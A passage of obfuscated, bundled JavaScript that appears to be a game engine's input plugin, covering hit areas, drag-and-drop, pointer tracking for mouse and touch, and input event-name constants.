_0x160e68(_0x1cdcb8, _0x5c2695, _0x447524); _0x52f798['customHitArea'] = _0x45e57b, _0x52f798['dropZone'] = _0x751dfa, _0x52f798['cursor'] = _0x4d668d ? 'pointer' : _0x459625, _0x1cdcb8['input'] = _0x52f798, _0x2ef25f && this['setDraggable'](_0x1cdcb8), this['queueForInsertion'](_0x1cdcb8); } } return this; }, 'setHitAreaCircle': function (_0x397dbb, _0x2086d7, _0x24a692, _0x462a26, _0x280972) { void 0x0 === _0x280972 && (_0x280972 = _0x50ee9e); var _0x4bbb4f = new _0x1996ad(_0x2086d7, _0x24a692, _0x462a26); return this['setHitArea'](_0x397dbb, _0x4bbb4f, _0x280972); }, 'setHitAreaEllipse': function (_0x2599f9, _0x1efe4b, _0x76e88a, _0x596be4, _0x23d498, _0x51196c) { void 0x0 === _0x51196c && (_0x51196c = _0x2aed89); var _0x591c7b = new _0x1c2e01(_0x1efe4b, _0x76e88a, _0x596be4, _0x23d498); return this['setHitArea'](_0x2599f9, _0x591c7b, _0x51196c); }, 'setHitAreaFromTexture': function (_0x13ea24, _0x4d1319) { void 0x0 === _0x4d1319 && (_0x4d1319 = _0x5f0c97), Array['isArray'](_0x13ea24) || (_0x13ea24 = [_0x13ea24]); for (var _0x4a9e9c = 0x0; _0x4a9e9c < _0x13ea24['length']; _0x4a9e9c++) { var _0x24eee6 = _0x13ea24[_0x4a9e9c], _0x460105 = _0x24eee6['frame'], _0x193bbd = 0x0, _0xa6dbdd = 0x0; _0x24eee6['width'] ? (_0x193bbd = _0x24eee6['width'], _0xa6dbdd = _0x24eee6['height']) : _0x460105 && (_0x193bbd = _0x460105['realWidth'], _0xa6dbdd = _0x460105['realHeight']), ('Container' !== _0x24eee6['type'] || 0x0 !== _0x193bbd && 0x0 !== _0xa6dbdd) && 0x0 !== _0x193bbd && 0x0 !== _0xa6dbdd && (_0x24eee6['input'] = _0x160e68(_0x24eee6, new _0x4d434a(0x0, 0x0, _0x193bbd, _0xa6dbdd), _0x4d1319), this['queueForInsertion'](_0x24eee6)); } return this; }, 'setHitAreaRectangle': function (_0x555fa9, _0x4d336a, _0x3194b0, _0x12e360, _0xd98241, _0x497a0f) { void 0x0 === _0x497a0f && (_0x497a0f = _0x5f0c97); var _0x345ffb = new _0x4d434a(_0x4d336a, _0x3194b0, _0x12e360, _0xd98241); return this['setHitArea'](_0x555fa9, _0x345ffb, _0x497a0f); }, 'setHitAreaTriangle': function (_0x1d4e73, _0x3c4ec5, _0x5a9270, _0x360e4c, _0x2a7c9b, _0x7132b6, _0x4a05f1, _0x32f0e2) { void 0x0 === _0x32f0e2 && (_0x32f0e2 = _0x35aaf4); var _0x5aa4d3 = new _0x2ae553(_0x3c4ec5, _0x5a9270, _0x360e4c, _0x2a7c9b, _0x7132b6, _0x4a05f1); return this['setHitArea'](_0x1d4e73, _0x5aa4d3, _0x32f0e2); }, 'enableDebug': function (_0x4a7249, _0x43c591) { void 0x0 === _0x43c591 && (_0x43c591 = 0xff00); var _0x1d5372 = _0x4a7249['input']; if (!_0x1d5372 || !_0x1d5372['hitArea']) return this; var _0xa31f1c = _0x1d5372['hitArea'], _0x33e78f = _0xa31f1c['type'], _0x289162 = _0x1d5372['hitAreaDebug'], _0x31c272 = this['systems']['add'], _0x2b5d2e = this['systems']['updateList']; _0x289162 && (_0x2b5d2e['remove'](_0x289162), _0x289162['destroy'](), _0x289162 = null); var _0x1cefd2 = 0x0, _0x211363 = 0x0; switch (_0x33e78f) { case _0x2fa5d1['CIRCLE']: _0x289162 = _0x31c272['arc'](0x0, 0x0, _0xa31f1c['radius']), _0x1cefd2 = _0xa31f1c['x'] - _0xa31f1c['radius'], _0x211363 = _0xa31f1c['y'] - _0xa31f1c['radius']; break; case _0x2fa5d1['ELLIPSE']: _0x289162 = _0x31c272['ellipse'](0x0, 0x0, _0xa31f1c['width'], _0xa31f1c['height']), _0x1cefd2 = _0xa31f1c['x'] - _0xa31f1c['width'] / 0x2, _0x211363 = _0xa31f1c['y'] - _0xa31f1c['height'] / 0x2; break; case _0x2fa5d1['LINE']: _0x289162 = _0x31c272['line'](0x0, 0x0, _0xa31f1c['x1'], _0xa31f1c['y1'], _0xa31f1c['x2'], _0xa31f1c['y2']); break; case _0x2fa5d1['POLYGON']: _0x289162 = _0x31c272['polygon'](0x0, 0x0, _0xa31f1c['points']); break; case _0x2fa5d1['RECTANGLE']: _0x289162 = _0x31c272['rectangle'](0x0, 0x0, _0xa31f1c['width'], _0xa31f1c['height']), _0x1cefd2 = _0xa31f1c['x'], _0x211363 = _0xa31f1c['y']; break; case _0x2fa5d1['TRIANGLE']: _0x289162 = _0x31c272['triangle'](0x0, 0x0, _0xa31f1c['x1'], _0xa31f1c['y1'], _0xa31f1c['x2'], _0xa31f1c['y2'], _0xa31f1c['x3'], _0xa31f1c['y3']); }return _0x289162 && (_0x289162['isFilled'] = !0x1, _0x289162['strokeColor'] = _0x43c591, _0x289162['preUpdate'] = function () { _0x289162['setVisible'](_0x4a7249['visible']), _0x289162['setStrokeStyle'](0x1 / _0x4a7249['scale'], _0x289162['strokeColor']), _0x289162['setDisplayOrigin'](_0x4a7249['displayOriginX'], _0x4a7249['displayOriginY']); var _0x155f50 = _0x4a7249['x'], _0x5e9598 = _0x4a7249['y'], _0x4e5f2f = _0x4a7249['rotation'], _0x3a6f69 = _0x4a7249['scaleX'], _0x40eb1c = _0x4a7249['scaleY']; if (_0x4a7249['parentContainer']) { var _0x59a20d = _0x4a7249['getWorldTransformMatrix'](); _0x155f50 = _0x59a20d['tx'], _0x5e9598 = _0x59a20d['ty'], _0x4e5f2f = _0x59a20d['rotation'], _0x3a6f69 = _0x59a20d['scaleX'], _0x40eb1c = _0x59a20d['scaleY']; } _0x289162['setRotation'](_0x4e5f2f), _0x289162['setScale'](_0x3a6f69, _0x40eb1c), _0x289162['setPosition'](_0x155f50 + _0x1cefd2 * _0x3a6f69, _0x5e9598 + _0x211363 * _0x40eb1c), _0x289162['setScrollFactor'](_0x4a7249['scrollFactorX'], _0x4a7249['scrollFactorY']), _0x289162['setDepth'](_0x4a7249['depth']); }, _0x2b5d2e['add'](_0x289162), _0x1d5372['hitAreaDebug'] = _0x289162), this; }, 'removeDebug': function (_0x2d7dd5) { var _0xbab825 = _0x2d7dd5['input']; return _0xbab825 && _0xbab825['hitAreaDebug'] && (_0xbab825['hitAreaDebug']['destroy'](), _0xbab825['hitAreaDebug'] = null), this; }, 'setPollAlways': function () { return this['setPollRate'](0x0); }, 'setPollOnMove': function () { return this['setPollRate'](-0x1); }, 'setPollRate': function (_0x248d6c) { return this['pollRate'] = _0x248d6c, this['_pollTimer'] = 0x0, this; }, 'setGlobalTopOnly': function (_0x39f2e6) { return this['manager']['globalTopOnly'] = _0x39f2e6, this; }, 'setTopOnly': function (_0x3b04fa) { return this['topOnly'] = _0x3b04fa, this; }, 'sortGameObjects': function (_0x4805af, _0x23672e) { if (_0x4805af['length'] < 0x2 || !_0x23672e['camera']) return _0x4805af; var _0xe0321 = _0x23672e['camera']['renderList']; return _0x4805af['sort'](function (_0x4a6d51, _0x4ffb19) { var _0x3722fe = Math['max'](_0xe0321['indexOf'](_0x4a6d51), 0x0); return Math['max'](_0xe0321['indexOf'](_0x4ffb19), 0x0) - _0x3722fe; }); }, 'sortDropZones': function (_0x5a08d6) { return _0x5a08d6['length'] < 0x2 ? _0x5a08d6 : (this['scene']['sys']['depthSort'](), _0x5a08d6['sort'](this['sortDropZoneHandler']['bind'](this))); }, 'sortDropZoneHandler': function (_0x399cf6, _0x423ac7) { if (_0x399cf6['parentContainer'] || _0x423ac7['parentContainer']) { if (_0x399cf6['parentContainer'] === _0x423ac7['parentContainer']) return _0x423ac7['parentContainer']['getIndex'](_0x423ac7) - _0x399cf6['parentContainer']['getIndex'](_0x399cf6); if (_0x399cf6['parentContainer'] === _0x423ac7) return -0x1; if (_0x423ac7['parentContainer'] === _0x399cf6) return 0x1; for (var _0x54ad6e = _0x399cf6['getIndexList'](), _0x313c51 = _0x423ac7['getIndexList'](), _0x6e5429 = Math['min'](_0x54ad6e['length'], _0x313c51['length']), _0x1c0f4d = 0x0; _0x1c0f4d < _0x6e5429; _0x1c0f4d++) { var _0x236ca0 = _0x54ad6e[_0x1c0f4d], _0x2f35e1 = _0x313c51[_0x1c0f4d]; if (_0x236ca0 !== _0x2f35e1) return _0x2f35e1 - _0x236ca0; } return _0x313c51['length'] - _0x54ad6e['length']; } return this['displayList']['getIndex'](_0x423ac7) - this['displayList']['getIndex'](_0x399cf6); }, 'stopPropagation': function () { return this['manager']['_tempSkip'] = !0x0, this; }, 'addPointer': function (_0x25cc99) { return this['manager']['addPointer'](_0x25cc99); }, 'setDefaultCursor': function (_0x399e50) { return this['manager']['setDefaultCursor'](_0x399e50), this; }, 'transitionIn': function () { this['enabled'] = this['settings']['transitionAllowInput']; }, 'transitionComplete': function () { this['settings']['transitionAllowInput'] || (this['enabled'] = !0x0); }, 'transitionOut': function () { this['enabled'] = this['settings']['transitionAllowInput']; }, 'shutdown': function () { this['pluginEvents']['emit'](_0x1a0ca2['SHUTDOWN']), this['_temp']['length'] = 0x0, this['_list']['length'] = 0x0, this['_draggable']['length'] = 0x0, this['_pendingRemoval']['length'] = 0x0, this['_pendingInsertion']['length'] = 0x0, this['_dragState']['length'] = 0x0; for (var _0x16d681 = 0x0; _0x16d681 < 0xa; _0x16d681++)this['_drag'][_0x16d681] = [], this['_over'][_0x16d681] = []; this['removeAllListeners'](); var _0x1761f3 = this['manager']; _0x1761f3['canvas']['style']['cursor'] = _0x1761f3['defaultCursor']; var _0x1b68b8 = this['systems']['events']; _0x1b68b8['off'](_0x17c487['TRANSITION_START'], this['transitionIn'], this), _0x1b68b8['off'](_0x17c487['TRANSITION_OUT'], this['transitionOut'], this), _0x1b68b8['off'](_0x17c487['TRANSITION_COMPLETE'], this['transitionComplete'], this), _0x1b68b8['off'](_0x17c487['PRE_UPDATE'], this['preUpdate'], this), _0x1761f3['events']['off'](_0x1a0ca2['GAME_OUT'], this['onGameOut'], this), _0x1761f3['events']['off'](_0x1a0ca2['GAME_OVER'], this['onGameOver'], this), _0x1b68b8['off'](_0x17c487['SHUTDOWN'], this['shutdown'], this); }, 'resetPointers': function () { for (var _0x4151af = this['manager']['pointers'], _0x51af74 = 0x0; _0x51af74 < _0x4151af['length']; _0x51af74++)_0x4151af[_0x51af74]['reset'](); }, 'destroy': function () { this['shutdown'](), this['pluginEvents']['emit'](_0x1a0ca2['DESTROY']), this['pluginEvents']['removeAllListeners'](), this['scene']['sys']['events']['off'](_0x17c487['START'], this['start'], this), this['scene'] = null, this['cameras'] = null, this['manager'] = null, this['events'] = null, this['mouse'] = null; }, 'x': { 'get': function () { return this['manager']['activePointer']['x']; } }, 'y': { 'get': function () { return this['manager']['activePointer']['y']; } }, 'isOver': { 'get': function () { return this['manager']['isOver']; } }, 'mousePointer': { 'get': function () { return this['manager']['mousePointer']; } }, 'activePointer': { 'get': function () { return this['manager']['activePointer']; } }, 'pointer1': { 'get': function () { return this['manager']['pointers'][0x1]; } }, 'pointer2': { 'get': function () { return this['manager']['pointers'][0x2]; } }, 'pointer3': { 'get': function () { return this['manager']['pointers'][0x3]; } }, 'pointer4': { 'get': function () { return this['manager']['pointers'][0x4]; } }, 'pointer5': { 'get': function () { return this['manager']['pointers'][0x5]; } }, 'pointer6': { 'get': function () { return this['manager']['pointers'][0x6]; } }, 'pointer7': { 'get': function () { return this['manager']['pointers'][0x7]; } }, 'pointer8': { 'get': function () { return this['manager']['pointers'][0x8]; } }, 'pointer9': { 'get': function () { return this['manager']['pointers'][0x9]; } }, 'pointer10': { 'get': function () { return this['manager']['pointers'][0xa]; } } }); _0x9cfd39['register']('InputPlugin', _0x2d731e, 'input'), _0x54f273['exports'] = _0x2d731e; }, 0x15e27: (_0xcd7e8a, _0x553650, _0x4d995b) => { var _0x365295 = _0x4d995b(0x8952), _0x331f83 = {}, _0x3670b6 = { 'register': function (_0x81feae, _0x118fe4, _0x4e1c14, _0x3aaf30, _0x23ae84) { _0x331f83[_0x81feae] = { 'plugin': _0x118fe4, 'mapping': _0x4e1c14, 'settingsKey': _0x3aaf30, 'configKey': _0x23ae84 }; }, 'getPlugin': function (_0x242162) { return _0x331f83[_0x242162]; }, 'install': function (_0x4dcaec) { var _0x59ef3d = _0x4dcaec['scene']['sys'], _0x274883 = _0x59ef3d['settings']['input'], _0x2d9155 = _0x59ef3d['game']['config']; for (var _0x1f0ce9 in _0x331f83) { var _0x2b56a4 = _0x331f83[_0x1f0ce9]['plugin'], _0x3b3948 = _0x331f83[_0x1f0ce9]['mapping'], _0x139709 = _0x331f83[_0x1f0ce9]['settingsKey'], _0x22f891 = _0x331f83[_0x1f0ce9]['configKey']; _0x365295(_0x274883, _0x139709, _0x2d9155[_0x22f891]) && (_0x4dcaec[_0x3b3948] = new _0x2b56a4(_0x4dcaec)); } }, 'remove': function (_0x22bfae) { _0x331f83['hasOwnProperty'](_0x22bfae) && delete _0x331f83[_0x22bfae]; } }; _0xcd7e8a['exports'] = _0x3670b6; }, 0xa613: (_0xc8d055, _0x565123, _0x30374a) => { var _0x2b20bb = _0x30374a(0x7940), _0x1d36eb = _0x30374a(0x145db), _0x525446 = _0x30374a(0x4f73), _0x14ef77 = _0x30374a(0xab4f), _0x11ac3a = _0x30374a(0xb883), _0x5dbdb7 = _0x30374a(0x65f3), _0x3945e8 = _0x30374a(0x6524), _0x58cbe1 = new _0x1d36eb({ 'initialize': function (_0x28caa9, _0x59b264) { this['manager'] = _0x28caa9, this['id'] = _0x59b264, this['event'], this['downElement'], this['upElement'], this['camera'] = null, this['button'] = 0x0, this['buttons'] = 0x0, this['position'] = new _0x5dbdb7(), this['prevPosition'] = new _0x5dbdb7(), this['midPoint'] = new _0x5dbdb7(-0x1, -0x1), this['velocity'] = new _0x5dbdb7(), this['angle'] = 0x0, this['distance'] = 0x0, this['smoothFactor'] = 0x0, this['motionFactor'] = 0.2, this['worldX'] = 0x0, this['worldY'] = 0x0, this['moveTime'] = 0x0, this['downX'] = 0x0, this['downY'] = 0x0, this['downTime'] = 0x0, this['upX'] = 0x0, this['upY'] = 0x0, this['upTime'] = 0x0, this['primaryDown'] = !0x1, this['isDown'] = !0x1, this['wasTouch'] = !0x1, this['wasCanceled'] = !0x1, this['movementX'] = 0x0, this['movementY'] = 0x0, this['identifier'] = 0x0, this['pointerId'] = null, this['active'] = 0x0 === _0x59b264, this['locked'] = !0x1, this['deltaX'] = 0x0, this['deltaY'] = 0x0, this['deltaZ'] = 0x0; }, 'updateWorldPoint': function (_0x3f6d45) { var _0x37a37f = _0x3f6d45['getWorldPoint'](this['x'], this['y']); return this['worldX'] = _0x37a37f['x'], this['worldY'] = _0x37a37f['y'], this; }, 'positionToCamera': function (_0x46749a, _0x191b4f) { return _0x46749a['getWorldPoint'](this['x'], this['y'], _0x191b4f); }, 'updateMotion': function () { var _0x2d4055 = this['position']['x'], _0x121833 = this['position']['y'], _0x5018d5 = this['midPoint']['x'], _0x3aac30 = this['midPoint']['y']; if (_0x2d4055 !== _0x5018d5 || _0x121833 !== _0x3aac30) { var _0x3aec84 = _0x11ac3a(this['motionFactor'], _0x5018d5, _0x2d4055), _0x192736 = _0x11ac3a(this['motionFactor'], _0x3aac30, _0x121833); _0x14ef77(_0x3aec84, _0x2d4055, 0.1) && (_0x3aec84 = _0x2d4055), _0x14ef77(_0x192736, _0x121833, 0.1) && (_0x192736 = _0x121833), this['midPoint']['set'](_0x3aec84, _0x192736); var _0x49f0b5 = _0x2d4055 - _0x3aec84, _0xcccc82 = _0x121833 - _0x192736; this['velocity']['set'](_0x49f0b5, _0xcccc82), this['angle'] = _0x2b20bb(_0x3aec84, _0x192736, _0x2d4055, _0x121833), this['distance'] = Math['sqrt'](_0x49f0b5 * _0x49f0b5 + _0xcccc82 * _0xcccc82); } }, 'up': function (_0xe717e2) { 'buttons' in _0xe717e2 && (this['buttons'] = _0xe717e2['buttons']), this['event'] = _0xe717e2, this['button'] = _0xe717e2['button'], this['upElement'] = _0xe717e2['target'], this['manager']['transformPointer'](this, _0xe717e2['pageX'], _0xe717e2['pageY'], !0x1), 0x0 === _0xe717e2['button'] && (this['primaryDown'] = !0x1, this['upX'] = this['x'], this['upY'] = this['y']), 0x0 === this['buttons'] && (this['isDown'] = !0x1, this['upTime'] = _0xe717e2['timeStamp'], this['wasTouch'] = !0x1); }, 'down': function (_0x4c9c5c) { 'buttons' in _0x4c9c5c && (this['buttons'] = _0x4c9c5c['buttons']), this['event'] = _0x4c9c5c, this['button'] = _0x4c9c5c['button'], this['downElement'] = _0x4c9c5c['target'], this['manager']['transformPointer'](this, _0x4c9c5c['pageX'], _0x4c9c5c['pageY'], !0x1), 0x0 === _0x4c9c5c['button'] && (this['primaryDown'] = !0x0, this['downX'] = this['x'], this['downY'] = this['y']), _0x3945e8['macOS'] && _0x4c9c5c['ctrlKey'] && (this['buttons'] = 0x2, this['primaryDown'] = !0x1), this['isDown'] || (this['isDown'] = !0x0, this['downTime'] = _0x4c9c5c['timeStamp']), this['wasTouch'] = !0x1; }, 'move': function (_0x349db9) { 'buttons' in _0x349db9 && (this['buttons'] = _0x349db9['buttons']), this['event'] = _0x349db9, this['manager']['transformPointer'](this, _0x349db9['pageX'], _0x349db9['pageY'], !0x0), this['locked'] && (this['movementX'] = _0x349db9['movementX'] || _0x349db9['mozMovementX'] || _0x349db9['webkitMovementX'] || 0x0, this['movementY'] = _0x349db9['movementY'] || _0x349db9['mozMovementY'] || _0x349db9['webkitMovementY'] || 0x0), this['moveTime'] = _0x349db9['timeStamp'], this['wasTouch'] = !0x1; }, 'wheel': function (_0x31d885) { 'buttons' in _0x31d885 && (this['buttons'] = _0x31d885['buttons']), this['event'] = _0x31d885, this['manager']['transformPointer'](this, _0x31d885['pageX'], _0x31d885['pageY'], !0x1), this['deltaX'] = _0x31d885['deltaX'], this['deltaY'] = _0x31d885['deltaY'], this['deltaZ'] = _0x31d885['deltaZ'], this['wasTouch'] = !0x1; }, 'touchstart': function (_0x46d6ee, _0x4e2dd1) { _0x46d6ee['pointerId'] && (this['pointerId'] = _0x46d6ee['pointerId']), this['identifier'] = _0x46d6ee['identifier'], this['target'] = _0x46d6ee['target'], this['active'] = !0x0, this['buttons'] = 0x1, this['event'] = _0x4e2dd1, this['downElement'] = _0x46d6ee['target'], this['manager']['transformPointer'](this, _0x46d6ee['pageX'], _0x46d6ee['pageY'], !0x1), this['primaryDown'] = !0x0, this['downX'] = this['x'], this['downY'] = this['y'], this['downTime'] = _0x4e2dd1['timeStamp'], this['isDown'] = !0x0, this['wasTouch'] = !0x0, this['wasCanceled'] = !0x1, this['updateMotion'](); }, 'touchmove': function (_0x283607, _0xb7080e) { this['event'] = _0xb7080e, this['manager']['transformPointer'](this, _0x283607['pageX'], _0x283607['pageY'], !0x0), this['moveTime'] = _0xb7080e['timeStamp'], this['wasTouch'] = !0x0, this['updateMotion'](); }, 'touchend': function (_0x53301f, _0x3ebed5) { this['buttons'] = 0x0, this['event'] = _0x3ebed5, this['upElement'] = _0x53301f['target'], this['manager']['transformPointer'](this, _0x53301f['pageX'], _0x53301f['pageY'], !0x1), this['primaryDown'] = !0x1, this['upX'] = this['x'], this['upY'] = this['y'], this['upTime'] = _0x3ebed5['timeStamp'], this['isDown'] = !0x1, this['wasTouch'] = !0x0, this['wasCanceled'] = !0x1, this['active'] = !0x1, this['updateMotion'](); }, 'touchcancel': function (_0x42a9e8, _0x502c8a) { this['buttons'] = 0x0, this['event'] = _0x502c8a, this['upElement'] = _0x42a9e8['target'], this['manager']['transformPointer'](this, _0x42a9e8['pageX'], _0x42a9e8['pageY'], !0x1), this['primaryDown'] = !0x1, this['upX'] = this['x'], this['upY'] = this['y'], this['upTime'] = _0x502c8a['timeStamp'], this['isDown'] = !0x1, this['wasTouch'] = !0x0, this['wasCanceled'] = !0x0, this['active'] = !0x1; }, 'noButtonDown': function () { return 0x0 === this['buttons']; }, 'leftButtonDown': function () { return !!(0x1 & this['buttons']); }, 'rightButtonDown': function () { return !!(0x2 & this['buttons']); }, 'middleButtonDown': function () { return !!(0x4 & this['buttons']); }, 'backButtonDown': function () { return !!(0x8 & this['buttons']); }, 'forwardButtonDown': function () { return !!(0x10 & this['buttons']); }, 'leftButtonReleased': function () { return 0x0 === this['buttons'] ? 0x0 === this['button'] && !this['isDown'] : 0x0 === this['button']; }, 'rightButtonReleased': function () { return 0x0 === this['buttons'] ? 0x2 === this['button'] && !this['isDown'] : 0x2 === this['button']; }, 'middleButtonReleased': function () { return 0x0 === this['buttons'] ? 0x1 === this['button'] && !this['isDown'] : 0x1 === this['button']; }, 'backButtonReleased': function () { return 0x0 === this['buttons'] ? 0x3 === this['button'] && !this['isDown'] : 0x3 === this['button']; }, 'forwardButtonReleased': function () { return 0x0 === this['buttons'] ? 0x4 === this['button'] && !this['isDown'] : 0x4 === this['button']; }, 'getDistance': function () { return this['isDown'] ? _0x525446(this['downX'], this['downY'], this['x'], this['y']) : _0x525446(this['downX'], this['downY'], this['upX'], this['upY']); }, 'getDistanceX': function () { return this['isDown'] ? Math['abs'](this['downX'] - this['x']) : Math['abs'](this['downX'] - this['upX']); }, 'getDistanceY': function () { return this['isDown'] ? Math['abs'](this['downY'] - this['y']) : Math['abs'](this['downY'] - this['upY']); }, 'getDuration': function () { return this['isDown'] ? this['manager']['time'] - this['downTime'] : this['upTime'] - this['downTime']; }, 'getAngle': function () { return this['isDown'] ? _0x2b20bb(this['downX'], this['downY'], this['x'], this['y']) : _0x2b20bb(this['downX'], this['downY'], this['upX'], this['upY']); }, 'getInterpolatedPosition': function (_0x313e10, _0x27d3d1) { void 0x0 === _0x313e10 && (_0x313e10 = 0xa), void 0x0 === _0x27d3d1 && (_0x27d3d1 = []); for (var _0x40453d = this['prevPosition']['x'], _0xddf26a = this['prevPosition']['y'], _0x4da4e6 = this['position']['x'], _0x519b41 = this['position']['y'], _0x1f6244 = 0x0; _0x1f6244 < _0x313e10; _0x1f6244++) { var _0x52150e = 0x1 / _0x313e10 * _0x1f6244; _0x27d3d1[_0x1f6244] = { 'x': _0x11ac3a(_0x52150e, _0x40453d, _0x4da4e6), 'y': _0x11ac3a(_0x52150e, _0xddf26a, _0x519b41) }; } return _0x27d3d1; }, 'reset': function () { this['event'] = null, this['downElement'] = null, this['upElement'] = null, this['button'] = 0x0, this['buttons'] = 0x0, this['position']['set'](0x0, 0x0), this['prevPosition']['set'](0x0, 0x0), this['midPoint']['set'](-0x1, -0x1), this['velocity']['set'](0x0, 0x0), this['angle'] = 0x0, this['distance'] = 0x0, this['worldX'] = 0x0, this['worldY'] = 0x0, this['downX'] = 0x0, this['downY'] = 0x0, this['upX'] = 0x0, this['upY'] = 0x0, this['moveTime'] = 0x0, this['upTime'] = 0x0, this['downTime'] = 0x0, this['primaryDown'] = !0x1, this['isDown'] = !0x1, this['wasTouch'] = !0x1, this['wasCanceled'] = !0x1, this['movementX'] = 0x0, this['movementY'] = 0x0, this['identifier'] = 0x0, this['pointerId'] = null, this['deltaX'] = 0x0, this['deltaY'] = 0x0, this['deltaZ'] = 0x0, this['active'] = 0x0 === this['id']; }, 'destroy': function () { this['camera'] = null, this['manager'] = null, this['position'] = null; }, 'x': { 'get': function () { return this['position']['x']; }, 'set': function (_0x10814d) { this['position']['x'] = _0x10814d; } }, 'y': { 'get': function () { return this['position']['y']; }, 'set': function (_0x36f744) { this['position']['y'] = _0x36f744; } }, 'time': { 'get': function () { return this['event'] ? this['event']['timeStamp'] : 0x0; } } }); _0xc8d055['exports'] = _0x58cbe1; }, 0x16c75: _0x1796d6 => { _0x1796d6['exports'] = { 'MOUSE_DOWN': 0x0, 'MOUSE_MOVE': 0x1, 'MOUSE_UP': 0x2, 'TOUCH_START': 0x3, 'TOUCH_MOVE': 0x4, 'TOUCH_END': 0x5, 'POINTER_LOCK_CHANGE': 0x6, 'TOUCH_CANCEL': 0x7, 'MOUSE_WHEEL': 0x8 }; }, 0x1c0b: _0x1998b8 => { _0x1998b8['exports'] = 'boot'; }, 0x14d7f: _0x7182f8 => { _0x7182f8['exports'] = 'destroy'; }, 0x9ba3: _0x114fd6 => { _0x114fd6['exports'] = 'dragend'; }, 0x5b5c: _0x5e1ba4 => { _0x5e1ba4['exports'] = 'dragenter'; }, 0x3f05: _0x389252 => { _0x389252['exports'] = 'drag'; }, 0x6cb5: _0x8d4923 => { _0x8d4923['exports'] = 'dragleave'; }, 0xd290: _0x17c621 => { _0x17c621['exports'] = 'dragover'; }, 0xdafa: _0x2db338 => { _0x2db338['exports'] = 'dragstart'; }, 0xa52: _0x111faa => { _0x111faa['exports'] = 'drop'; }, 0x1586b: _0x4d6d9f => { _0x4d6d9f['exports'] = 'gameobjectdown'; }, 0x8d33: _0x1323d9 => { _0x1323d9['exports'] = 'dragend'; }, 0x1180c: _0x227fe7 => { _0x227fe7['exports'] = 'dragenter'; }, 0x17795: _0x51d38e => { _0x51d38e['exports'] = 'drag'; }, 0x13d85: _0x4cb158 => { _0x4cb158['exports'] = 'dragleave'; }, 0x12140: _0x854507 => { _0x854507['exports'] = 'dragover'; }, 0x534a: _0x5e39cf => { _0x5e39cf['exports'] = 'dragstart'; }, 0xc0e2: _0x19c84a => { _0x19c84a['exports'] = 'drop'; }, 0x152e2: _0x265d60 => { _0x265d60['exports'] = 'gameobjectmove'; }, 0x151a1: _0x1171c1 => { _0x1171c1['exports'] = 'gameobjectout'; }, 0xed25: _0x2e7822 => { _0x2e7822['exports'] = 'gameobjectover'; }, 0x5e11: _0x1fbb5d => { _0x1fbb5d['exports'] = 'pointerdown'; }, 0x2ba4: _0xc21471 => { _0xc21471['exports'] = 'pointermove'; }, 0x49db: _0x5cc3dc => { _0x5cc3dc['exports'] = 'pointerout'; }, 0x1755b: _0x2f6afe => { _0x2f6afe['exports'] = 'pointerover'; }, 0x8a28: _0x53cf70 => { _0x53cf70['exports'] = 'pointerup'; }, 0x695c: _0x5304c2 => { _0x5304c2['exports'] = 'wheel'; }, 0xb7e6: _0xefc918 => { _0xefc918['exports'] = 'gameobjectup'; }, 0x1204a: _0x3070b3 => { _0x3070b3['exports'] = 'gameobjectwheel'; }, 0xdd8e: _0x516c24 => { _0x516c24['exports'] = 'gameout'; }, 0x6550: _0x3767af => { _0x3767af['exports'] = 'gameover'; }, 0x6b6f: _0x5a7ff3 => { _0x5a7ff3['exports'] = 'boot'; }, 0xc6a4: _0x2be6c3 => { _0x2be6c3['exports'] = 'process'; }, 0x178b6: _0x155ef8 => { _0x155ef8['exports'] = 'update'; }, 0xe710: _0x1efc4a => { _0x1efc4a['exports'] = 'pointerlockchange'; }, 0xbaa1: _0x1bb5ba => { _0x1bb5ba['exports'] = 'pointerdown'; }, 0x6d35: _0x1934d4 => { _0x1934d4['exports'] = 'pointerdownoutside'; }, 0x4bf4: _0x31c1f5 => { _0x31c1f5['exports'] = 'pointermove'; }, 0xd3eb: _0x2d8951 => { _0x2d8951['exports'] = 'pointerout'; }, 0x48eb: _0x209c43 => { _0x209c43['exports'] = 'pointerover'; }, 0x6a38: _0x539522 => { _0x539522['exports'] = 'pointerup'; }, 0x604c: _0x3d986d => { _0x3d986d['exports'] = 'pointerupoutside'; }, 0xb04c: _0x20e8c3 => { _0x20e8c3['exports'] = 'wheel'; }, 0xade0: _0x1b87b3 => { _0x1b87b3['exports'] = 'preupdate'; }, 0x3d8d: _0x54cc62 => { _0x54cc62['exports'] = 'shutdown'; }, 0xa2a5: _0x5f319c => { _0x5f319c['exports'] = 'start'; }, 0x16e6a: _0x4556e3 => { _0x4556e3['exports'] = 'update'; }, 0x2016: (_0x439182, _0x3378dd, _0x1e38a4) => { _0x439182['exports'] = { 'BOOT': _0x1e38a4(0x1c0b), 'DESTROY': _0x1e38a4(0x14d7f), 'DRAG_END': _0x1e38a4(0x9ba3), 'DRAG_ENTER': _0x1e38a4(0x5b5c), 'DRAG': _0x1e38a4(0x3f05), 'DRAG_LEAVE': _0x1e38a4(0x6cb5), 'DRAG_OVER': _0x1e38a4(0xd290), 'DRAG_START': _0x1e38a4(0xdafa), 'DROP': _0x1e38a4(0xa52), 'GAME_OUT': _0x1e38a4(0xdd8e), 'GAME_OVER': _0x1e38a4(0x6550), 'GAMEOBJECT_DOWN': _0x1e38a4(0x1586b), 'GAMEOBJECT_DRAG_END': _0x1e38a4(0x8d33), 'GAMEOBJECT_DRAG_ENTER': _0x1e38a4(0x1180c), 'GAMEOBJECT_DRAG': _0x1e38a4(0x17795), 'GAMEOBJECT_DRAG_LEAVE': _0x1e38a4(0x13d85), 'GAMEOBJECT_DRAG_OVER': _0x1e38a4(0x12140), 'GAMEOBJECT_DRAG_START': _0x1e38a4(0x534a), 'GAMEOBJECT_DROP': _0x1e38a4(0xc0e2), 'GAMEOBJECT_MOVE': _0x1e38a4(0x152e2), 'GAMEOBJECT_OUT': _0x1e38a4(0x151a1), 'GAMEOBJECT_OVER': _0x1e38a4(0xed25), 'GAMEOBJECT_POINTER_DOWN': _0x1e38a4(0x5e11), 'GAMEOBJECT_POINTER_MOVE': _0x1e38a4(0x2ba4), 'GAMEOBJECT_POINTER_OUT': _0x1e38a4(0x49db), 'GAMEOBJECT_POINTER_OVER': _0x1e38a4(0x1755b), 'GAMEOBJECT_POINTER_UP': _0x1e38a4(0x8a28), 'GAMEOBJECT_POINTER_WHEEL': _0x1e38a4(0x695c), 'GAMEOBJECT_UP': _0x1e38a4(0xb7e6), 'GAMEOBJECT_WHEEL': _0x1e38a4(0x1204a), 'MANAGER_BOOT': _0x1e38a4(0x6b6f), 'MANAGER_PROCESS': _0x1e38a4(0xc6a4), 'MANAGER_UPDATE': 